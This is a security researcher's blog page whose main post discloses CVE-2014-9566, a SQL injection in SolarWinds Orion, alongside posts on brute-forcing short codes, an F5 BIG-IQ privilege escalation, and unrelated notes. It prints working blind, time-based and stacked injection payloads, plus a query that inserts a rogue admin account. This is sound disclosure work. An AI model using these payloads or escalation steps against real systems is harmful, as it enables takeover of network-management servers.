Tuesday, February 24, 2015

Authenticated Stacked SQL injection in core Solarwinds Orion service (CVE-2014-9566)

Been a while since I wrote a post, so let's fix that.

I found a couple SQL injection vulnerabilities in the core Orion service used in most of the Solarwinds products (SAM, IPAM, NPM, NCM, etc…). This service provides a consistent configuration and authentication layer across the products.

To be exact, the vulnerable applications and versions are:

Network Performance Monitor -- < 11.5
NetFlow Traffic Analyzer -- < 4.1
Network Configuration Manager -- < 7.3.2
IP Address Manager -- < 4.3
User Device Tracker -- < 3.2
VoIP & Network Quality Manager -- < 4.2
Server & Application Monitor -- < 6.2
Web Performance Monitor -- < 2.2

At first glance, the injections are only available to admins, as the requests used are on the Manage Accounts page. However, it seems there is no real ACL check on the GetAccounts and GetAccountGroups endpoints of the AccountManagement.asmx service, which means that even authenticating as Guest allows for exploitation. By default, the Guest account has no password and is enabled.

On both the GetAccounts and GetAccountGroups endpoints, the 'sort' and 'dir' parameters are susceptible to boolean-/time-based, and stacked injections. By capturing the AJAX requests made by an admin user to these endpoints, authenticating as Guest and replacing the admin cookie with the Guest cookie, you can still make a successful request, and thus a successful exploitation vector for any authenticated user.

Being a stacked injection, this becomes a privilege escalation at the very least, as an attacker is able to insert their own admin user. A pull request for a Metasploit module which should achieve this on any product using the Orion service as the core authentication management system, using the GetAccounts endpoint, will be made. By default, the module attempts to authenticate as the Guest user with a blank password, then exploit the SQL injection to insert a new admin with a blank password.

I am not sure if the non-trial versions allow you to specify your own SQL server, but the trials install a SQL Server Express instance. The SQL user that the application uses is not an administrator, and the xp_cmd_shell stored procedure is unavailable.

Within the GetAccounts endpoint:

Parameter: dir (GET)

    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause
    Payload: sort=Accounts.AccountID&dir=ASC,(SELECT (CASE WHEN (5791=5791) THEN CHAR(65)+CHAR(83)+CHAR(67) ELSE 5791*(SELECT 5791 FROM master..sysdatabases) END))

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.AccountID&dir=ASC; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.AccountID&dir=ASC WAITFOR DELAY '0:0:5'--


Parameter: sort (GET)

    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)
    Payload: sort=(SELECT (CASE WHEN (8998=8998) THEN CHAR(65)+CHAR(99)+CHAR(99)+CHAR(111)+CHAR(117)+CHAR(110)+CHAR(116)+CHAR(115)+CHAR(46)+CHAR(65)+CHAR(99)+CHAR(99)+CHAR(111)+CHAR(117)+CHAR(110)+CHAR(116)+CHAR(73)+CHAR(68) ELSE 8998*(SELECT 8998 FROM master..sysdatabases) END))&dir=ASC

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.AccountID; WAITFOR DELAY '0:0:5'--&dir=ASC

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.AccountID WAITFOR DELAY '0:0:5'--&dir=ASC



Within the GetAccountGroups endpoint, very similar injection techniques are available:

Parameter: dir (GET)

    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause
    Payload: sort=Accounts.GroupPriority&dir=ASC,(SELECT (CASE WHEN (8799=8799) THEN CHAR(65)+CHAR(83)+CHAR(67) ELSE 8799*(SELECT 8799 FROM master..sysdatabases) END))

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.GroupPriority&dir=ASC; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.GroupPriority&dir=ASC WAITFOR DELAY '0:0:5'--


Parameter: sort (GET)

    Type: boolean-based blind
    Title: Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)
    Payload: sort=(SELECT (CASE WHEN (1817=1817) THEN CHAR(65)+CHAR(99)+CHAR(99)+CHAR(111)+CHAR(117)+CHAR(110)+CHAR(116)+CHAR(115)+CHAR(46)+CHAR(71)+CHAR(114)+CHAR(111)+CHAR(117)+CHAR(112)+CHAR(80)+CHAR(114)+CHAR(105)+CHAR(111)+CHAR(114)+CHAR(105)+CHAR(116)+CHAR(121) ELSE 1817*(SELECT 1817 FROM master..sysdatabases) END))&dir=ASC

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: sort=Accounts.GroupPriority; WAITFOR DELAY '0:0:5'--&dir=ASC

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: sort=Accounts.GroupPriority WAITFOR DELAY '0:0:5'--&dir=ASC


An example injection to insert an admin user named notadmin with a blank password using the 'dir' parameter would be:

ASC;insert into accounts values ('notadmin', '127-510823478-74417-8', '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==', 'Feb  1 2100 12:00AM', 'Y', 'notadmin', 1, '', '', 1, -1, 8, -1, 4, 0, 0, 0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '', 0, '');

This vulnerability was reported to Solarwinds on Dec 8th, 2014 and was assigned the CVE identifier CVE-2014-9566. A coordinated disclosure date of Feb 24th, 2015 was chosen by both parties. I would like to thank Rob Hock, Group Product Manager – Network Management at Solarwinds for the easy coordination (you should still have a bug bounty though!).

Tuesday, October 28, 2014

Bruteforcing random strings, randomly

I haven't written about anything in a while, sorry about that.

I come across a type of vulnerability quite often regarding weak codes being generated. These can be used for OTP, for password resets, etc. Many times, they are 6-8 characters long, with a smaller key space (a-f, 0-9), and case-insensitive. All in all, easily brute-forceable if no rate limiting (or improper rate limiting) is in place.

The question I ask myself each time I find a vulnerability like this is, would attempting to brute force this string be faster if I were to attempt to brute force it randomly or serially. Serially is obviously the easiest way to go about writing some code to automate this task. For a 6-character code, starting at 'aaaaaa', and going through '999999' is a simple loop in Ruby:

[*('a'..'f'), *('0'..'9')].repeated_permutation(6).each do |perm|
  p perm.join
end

The benefit to this (at face value) is that you do not need to generate the entire keyspace before attempting to brute force the key. You simply iterate over each subsequent permutation.

Theoretically, the chances of a code being generated equalling 'aaaaaa' and 'f04ab4' are the same. But I am not super concerned about theoretical outcomes here. I am concerned with practical outcomes and telling me the chances a code being generated by a computer being 'aaaaaa' and 'f04ab4' are the same is something I simply don't buy. Theoretically, in a perfect world on paper this might be true. In the real world, that doesn't add up.

So I started playing around with the idea of cracking these codes randomly. At first, I believed I needed to generate the full keyspace before attempting this, and my examples and results below do this. However, I will explain below how I believe you could get away with not generating the full keyspace in order to select from it randomly. All you really need are the number of possible combinations.

Let's see some code for serially cracking a random uuid, truncated to 6 characters:

  1 require 'securerandom'
  2 
  3 results = []
  4 0.upto(ARGV[0].to_i) do |fdsa|
  5   uuid = SecureRandom.uuid
  6   uuid = uuid[0..5]
  7 
  8   beg = Time.now
  9   en = nil
 10   [*('a'..'f'), *('0'..'9')].repeated_permutation(6).each do |perm|
 11     if perm.join == uuid
 12       en = Time.now
 13       break
 14     end
 15   end
 16 
 17   results << en-beg
 18 end
 19 
 20 min = 999 #an impossible number
 21 max = 0
 22 median = 0
 23 average = 0
 24 
 25 results.each do |result|
 26   if result < min
 27     min = result
 28   end
 29 
 30   if result > max
 31     max = result
 32   end
 33 
 34   average = average + result
 35 end
 36 
 37 average = average / results.length.to_f
 38 
 39 sorted = results.sort
 40 
 41 median = (sorted[(results.length - 1)/2] + sorted[results.length / 2]) / 2.0
 42 
 43 p "Max: #{max}"
 44 p "Min: #{min}"
 45 p "Median: #{median}"
 46 p "Average: #{average}"

What is happening should be straight forward. Accepting an integer as the first argument, I iterate this number of times, generating a random uuid, truncating it, then attempting to brute force it serially. Once I have iterated the predefined number of times, storing the time it took to crack the short code in an array, I calculate a few statistics (the max time required to crack a code, the minimum time required, the median time, and the average time.

Here are some results for iterations of different sizes:

--- serial 100 iters ---
"Max: 15.138325266"
"Min: 0.154493369"
"Median: 7.413371801"
"Average: 7.347536151386141"

--- serial 1000 iters ---
"Max: 15.998030706"
"Min: 0.103791957"
"Median: 8.027371177"
"Average: 7.912778955110889"

You can see the results for 100 iterations and 1000 iterations are pretty much in line with each other. The longest time to crack a 6-character truncated uuid took between 15-16 seconds. The minimum time it took was 0.10-0.15 seconds. In both sets, median and average times are relatively in line between 7-8 seconds.

Ok, what about randomly trying to brute force the randomly generated uuid truncated to 6 characters? Here is the code I used for this:

  1 require 'securerandom'
  2 
  3 table = File.read('rainbow_table').split("\n")
  4 random_table = []
  5 
  6 0.upto(table.length) do |i|
  7   random_table << i
  8 end
  9 
 10 results = []
 11 
 12 0.upto(ARGV[0].to_i) do |fdsa|
 13   random_table = random_table.shuffle
 14   uuid = SecureRandom.uuid
 15   uuid = uuid[0..5]
 16 
 17   beg = Time.now
 18   en = nil
 19   random_table.each do |i|
 20     if table[i] == uuid
 21       en = Time.now
 22       break
 23     end
 24   end
 25   results << en-beg
 26 end
 27 
 28 min = 999
 29 max = 0
 30 median = 0
 31 average = 0
 32 
 33 results.each do |result|
 34   if result < min
 35     min = result
 36   end
 37 
 38   if result > max
 39     max = result
 40   end
 41 
 42   average = average + result
 43 end
 44 
 45 average = average / results.length.to_f
 46 
 47 sorted = results.sort
 48 
 49 median = (sorted[(results.length - 1)/2] + sorted[results.length/2])/2.0
 50 
 51 p "Max: #{max}"
 52 p "Min: #{min}"
 53 p "Median: #{median}"
 54 p "Average: #{average}"

Very similar to the previous code, except I read in the keyspace from a rainbow table generated separately, and iterate over these values (in a sense). I also create an array called random_table that contains all the possible indexes in the array that hold all the possible keys.

I iterate the number of times defined by ARGV[0], and each iterations, I shuffle the random_table. This shuffle algorithm is built into Ruby and is the Fisher-Yates shuffle algorithm. I also generate my uuid and truncate it on each iteration. Inside this iteration, I iterate over each index (that has now been shuffled) in the random_table array and attempt to brute force the 6-character code by referencing the rainbow table by the index of the current inner iteration. I gather the same statistical information as the serial cracking. These are the results for iterations of 100 and 1000:

--- random 100 iters ---
"Max: 4.961166269"
"Min: 0.130944814"
"Median: 2.494897051"
"Average: 2.452227394910891"

--- random 1000 iters ---
"Max: 5.021977897"
"Min: 0.006075905"
"Median: 2.502533613"
"Average: 2.4856869913756237"

As you can see, there is a massive and consistent difference in the speed of cracking the 6-character uuid when being performed "randomly" versus serially. The max number of second is a full 10 seconds faster than cracking serially. The minimums across both serial and random are in line with each other, but the median and average times cracking randomly are almost a quarter that of the serial median and average times. I think these results speak for themselves.

Now, I will admit that I am also measuring the time it takes to generate the permutation in the serial runs, as opposed to the random runs where the values have been precomputed. I do not believe this has that large of an effect on the times recorded. However, if you wanted to compute the value to test against in the random runs at runtime as opposed to beforehand, you could calculate the value of the string based on the current index it resides at in the keyspace.

Assuming a consistent keyspace (a-z,0-9), which leaves no gaps in between characters available for the possible codes to generate, you can calculate this code on the fly. By using powers of 36, and dividing the current index by 36 to the power of the index (from right to left!) of the character in the code to be generated, you can generate your 'random' code on the fly. This is left to an exercise of the reader. If there are gaps in the characters available for code generation, this is still doable, but you must compensate for the fact that, say, 'f' is 20 characters away from '0', and take this into account when generating the code.

Thursday, May 1, 2014

F5 BIG-IQ v4.1.0.2013.0 authenticated arbitrary user password change

F5 BIG-IQ is vulnerable to an input validation attack that allows an authenticated user to increase their privileges to that of another user. This allows an authenticated user with 0 roles to take on the roles of, say, admin or root. The user could then change the password of any other user (without logging out). If SSH is enabled (which is by default), then the user could change the root user’s password and log in over SSH. Module here.

We start off with our user with 0 roles whom is highlighted below. In this picture, ‘someguy’ is the username used to log in with, ‘woot’ is his first name. We are currently logged in as a previously escalated user (top right corner says username, another user with previously 0 roles :P ).








After authenticating, a user with 0 roles is still able to change their password. Below is what a user would be presented with after clicking the gear in the top right corner of the user box. The gear only appears after hovering over the user. There should only be one. It *does not* ask for the current password.








Clicking the save button will create a request that looks like the picture below. The two key parts are the “name” and “generation” keys. Both will need to be manipulated generally in order to change another user’s password programmatically and successfully. “generation” is incremented on each password change.







Within the above request, by changing the “name” key to another user’s username (such as root or admin), the user changing the password will magically have the impersonated user’s privileges. However, your displayed username (what was someguy) will now be the one used in the request. So if you used ‘root’, your displayed username will now be root. You will still log in with ‘someguy’. After gaining the permissions of the other user, you immediately see the other users you can edit. Notice the username in the top right is ‘someguy’, but the one displayed under your ‘woot’ first name is ‘root’. It will be visible to other users like this. You may now edit any of these users as you please. ‘root’ is the system root user.




Thursday, February 27, 2014

Dark matter

I have convinced myself dark matter doesn't exist. It is our generation's 'aether'.

Space is malleable, and has a certain 'springiness'. I think the effects we see on gravitational pull by 'dark matter' is actually 'tired' space. A long time ago, a very large amount of energy caused certain sections of space to become stretched too far, like a balloon that was filled with air, then having all the air let out (ie space is not as uniform as we think).

When matter is travelling through this 'tired' space, gravity is not behaving the same way because the space that the matter travels through is worn and 'tired' and affects the velocity of the matter.

These pockets grow as the universe expands.

Thursday, January 30, 2014

Mono 3.2.6 on CentOS 6.5

Mono is great as it allows you to run .NET applications on Linux. C# is a great language, and is encouraged as a cross-platform alternative to Java. Unfortunately, Xamarin has chosen to focus on Macs and Windows, and getting mono working on Linux is not so straight forward.

As of this writing, the official latest 3.2.5 and 3.2.6 tarballs are actually broken (should be fixed with 3.2.7). We need to pull the version we want from git instead.
See this url for more information: https://bugzilla.xamarin.com/show_bug.cgi?id=16431 

This url describes getting the version 110 monolite that has moved:

yum install libtool autotools gcc-c++ git
cd mono
git checkout mono-3.2.6
./autogen.sh
make

Sunday, December 29, 2013

Two exploits added to ExploitHub

Hi,

I added two Metasploit exploits to the online ExploitHub non-0day exploit store. I am more than open to feature requests or bug reports.

The first abuses an open upload handler that was common across most, if not all, of Orange Themes Wordpress themes. It has been patched, but is unknown exactly when and seemed to span many older versions as well.

https://exploithub.com/catalog/product/view/id/448/

The second abuses a post-auth remote command execution vuln within Gitlab. The vuln is technically present within the gitlab-shell project which is separate from Gitlab itself. I tested the vulnerable version of gitlab-shell with versions 6.4, 6.3, and 6.2 and was able to pop shells on all three. If the admin simply updated Gitlab and not gitlab-shell as well, they may still be vulnerable. The patch is available here.

https://exploithub.com/catalog/product/view/id/449/

Tuesday, November 26, 2013

Thoughts on vulnerability scans with indirect connections

A long while back, I gave a talk at AHA about various thoughts I had on sort of an "inversion of control" notion of managing vulnerability scans on a network. The high level point was to be decentralized and let the network manage discovering and scanning itself, and to allow remote machines to ask for scans from the vulnerability management system (as opposed to having scans shoved down their throat).

There some problems with monolithic vulnerability management systems. Firstly, they are only ever discovering new hosts for a very short amount of time compared to the amount of time spent actually assessing hosts (or sitting idle in between scans). They cannot give you a good idea of how volatile your networks are. In a BYOD world like today, I am sure there are devices popping on and off you have no idea about and that you cannot gauge risk on. This means that the VMS has only a small picture of your network in most cases. In fact, it only has a picture of the static machines on your network. Now, there are things like the Nexpose vDiscover technology that greatly aid in virtualized environments and helps remediate this problem. But this might solve the problem for a small fraction of home or business owners.

Secondly, being able to let the clients ask for scans means that the VMS no longer has the responsibility of discovering (or being told about) the asset before using it. Many enterprise solutions use computer images to sustain homogenous environments (even if this mean being lax on patches) and having a small agent that automagically pings the VMS when brought up allows network admins to work on something better than adding hosts to their VMS, like watching videos of cats.

Lastly, most VMS solutions today require the VMS be on-premise since it needs to be able to log in to the other machines via SSH or SMB. There is no real support for a connect-back scan, where the VMS listens on a port for a connection from the machine, which would help cloud offerings bypass NAT firewalls. This is a major hurdle for breaking into home end-users and small/medium-sized businesses who just can't maintain a VMS solution and can't hire someone to do it. Some cloud offerings exist (I won't call them out, you can Google), and I am not sure how they work. However, the method I will propose is technically agnostic to the VMS you are using and would allow you to use multiple systems transparently.


I took a weekend a few weeks ago to hammer out a system that allowed an arbitrary VMS to performs authenticated scans with no knowledge of the credentials needed by the remote machine and no direct connection between the two. I accomplished this using the SSH protocol only, but have some ideas on accomplishing a similar goal with SMB.

I first set up a middleman server. This middleman server would essentially be a proxy between the VMS and the machine being scanned. When the remote machine decides it wants a scan, it tells the middleman server it wants to be scanned. The middleman server sets up a temporary local user that will be used by the VMS. This temporary user will have a special, very simple shell:

#!/bin/sh
mkfifo /tmp/{FIFO}-$$.in
mkfifo /tmp/{FIFO}-$$.out

echo "$@" > /tmp/{FIFO}-$$.in

cat /tmp/{FIFO}-$$.out


When the user is created, the middleman service creates a target on the VMS and provides the credentials for this special user. When the VMS logs in, all commands will be written to the FIFO. These will be read by a small C# application that has a file-system watcher watching for FIFO's matching a regex. This service also manages the connection with the agent and knows how to talk to each major VMS (yay bindings). It will pass the commands to the remote machine, and the agent runs them and returns the results. These results are written to the FIFO with the .out extension and the special shell returns the output to the VMS by reading the out FIFO.

I use a FIFO to reduce the possibility of race conditions. I don't want the agent or the VMS getting ahead of one another.

Using this, I was successfully able to scan the machine as root with the VMS never knowing the root password of the machine. This method would allow a home computer behind a router to be fully scanned with no work on the end-user besides installing the agent. The agent has no idea which VMS has scanned it as that was all managed by the middleman service.

There are a few caveats. This method is about 3x slower than a normal scan by my rough tests. I am sure a large bottleneck is the FIFO mechanism, this could be performed in memory.

Second caveat is the VMS still portscans the middleman. Not sure how to resolve this.

Third caveat is it isn't obvious how to tell the difference between report items for the middle (port scan results) and authed results. You can infer it using XML reports and various data, but with PDF reports you would probably have no idea. You can also get around this simply by taking an XML diff of a port scan of the VMS with no authed reported vulns.

No github code yet, really a pile right now and not worth putting up yet. This serves a technical explanation of what my code does.